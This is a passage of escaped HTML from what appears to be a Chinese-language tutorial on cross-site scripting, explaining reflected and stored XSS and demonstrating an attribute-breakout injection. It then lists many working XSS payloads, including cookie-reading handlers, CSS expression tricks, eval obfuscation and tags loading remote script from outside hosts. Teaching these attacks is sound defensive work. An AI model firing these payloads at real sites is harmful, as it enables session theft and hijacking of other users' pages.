"&gt;5&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;name&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;document&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;URL&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;substring&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;pos&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;,&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;document&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;URL&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;length&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;);&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;if&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;name&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;match&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;/^[a-zA-Z0-9]$/&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;))&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;{&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;document&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;write&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;name&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;);&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;}&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;else&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;{&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;window&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;alert&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"Security error"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;);&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;}&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;&amp;lt;/SCRIPT&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; background-color: #ffffff; " /&gt;&lt;p&gt;&lt;strong&gt;&amp;nbsp;2. Reflected cross-site scripting&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 也被称为None-Persistent cross-site scripting，即，非持久化的XSS攻击，是我们通常所说的，也是最常用，使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL，当URL地址被打开时，特有的恶意代码参数被HTML解析、执行。它的特点是非持久化，必须用户点击带有特定参数的链接菜能引起。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&amp;nbsp;3. Persistent cross-site scripting&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 持久化XSS攻击，指的是恶意脚本代码被存储进被攻击的数据库，当其他用户正常浏览网页时，站点从数据库中读取了非法用户存入非法数据，恶意脚本代码被执行。这种攻击类型通常在留言板等地方出现。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;实施方式&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;我们来试一把Reflected cross-site scripting。当我们在某网站输入参数XXX，发现参数XXX原样的出现在了页面源码中：&amp;nbsp;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;/p&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;&amp;lt;input&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #ff0086; font-weight: bold; "&gt;type=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"text"&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #ff0086; font-weight: bold; "&gt;class=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"Seach"&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #ff0086; font-weight: bold; "&gt;name=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"w"&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #ff0086; font-weight: bold; "&gt;value=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"XXX"&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;/&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;OK，可以开始做文章了，我们将XXX替换为：abc"/&amp;gt;&amp;lt;script&amp;gt;alert('haha')&amp;lt;/script&amp;gt;&amp;lt;a href="，返回的HTML代码如下：&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;/p&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;&amp;lt;input&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #ff0086; font-weight: bold; "&gt;type=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"text"&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #ff0086; font-weight: bold; "&gt;class=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"Seach"&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #ff0086; font-weight: bold; "&gt;name=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"w"&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #ff0086; font-weight: bold; "&gt;value=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"abc"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;/&amp;gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;alert&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;'haha'&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;)&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #008800; font-style: italic; background-color: #0f140f; "&gt;&amp;lt;!--" /&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;这样，&amp;lt;script&amp;gt;alert('haha')&amp;lt;/script&amp;gt;被执行了。这里再举例一些XSS攻击行为：&lt;/p&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;&amp;lt;IMG SRC="javascript:alert('XSS');"&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;IMG SRC=javascript:alert('XSS')&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;IMG SRC="javascript:alert(String.fromCharCode(88,83,83))"&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;IMG SRC="javascript:alert('XSS');"&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;SCRIPT/XSS SRC="http://example.com/xss.js"&amp;gt;&amp;lt;/SCRIPT&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert("XSS");//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;iframe src=http://example.com/scriptlet.html &amp;lt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;BODY BACKGROUND="javascript:alert('XSS')"&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;BODY ONLOAD=alert(document.cookie)&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|"]^`=alert("XSS")&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;IMG DYNSRC="javascript:alert('XSS')"&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;IMG DYNSRC="javascript:alert('XSS')"&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;BR SIZE="&amp;amp;{alert('XSS')}"&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;IMG SRC='vbscript:msgbox("XSS")'&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;TABLE BACKGROUND="javascript:alert('XSS')"&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;DIV STYLE="width: expression(alert('XSS'));"&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;DIV STYLE="background-image: url(javascript:alert('XSS'))"&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;STYLE TYPE="text/javascript"&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;STYLE type="text/css"&amp;gt;BODY{background:url("javascript:alert('XSS')")}&amp;lt;/STYLE&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;?='&amp;lt;SCRIPT&amp;gt;alert("XSS")&amp;lt;/SCRIPT&amp;gt;'?&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;A HREF="javascript:document.location='http://www.example.com/'"&amp;gt;XSS&amp;lt;/A&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;IMG SRC=javascript:alert('XSS')&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&amp;lt;EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"&amp;gt;&amp;lt;/EMBED&amp;gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;a="get";&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;b="URL(""";&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;c="javascript:";&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;d="alert('XSS');"")";&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;eval(a+b+c+d);&lt;/div&gt;&lt;p&gt;更加详细的列表请参见&amp;nbsp;&lt;a href="http://ha.ckers.org/xss.html" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; 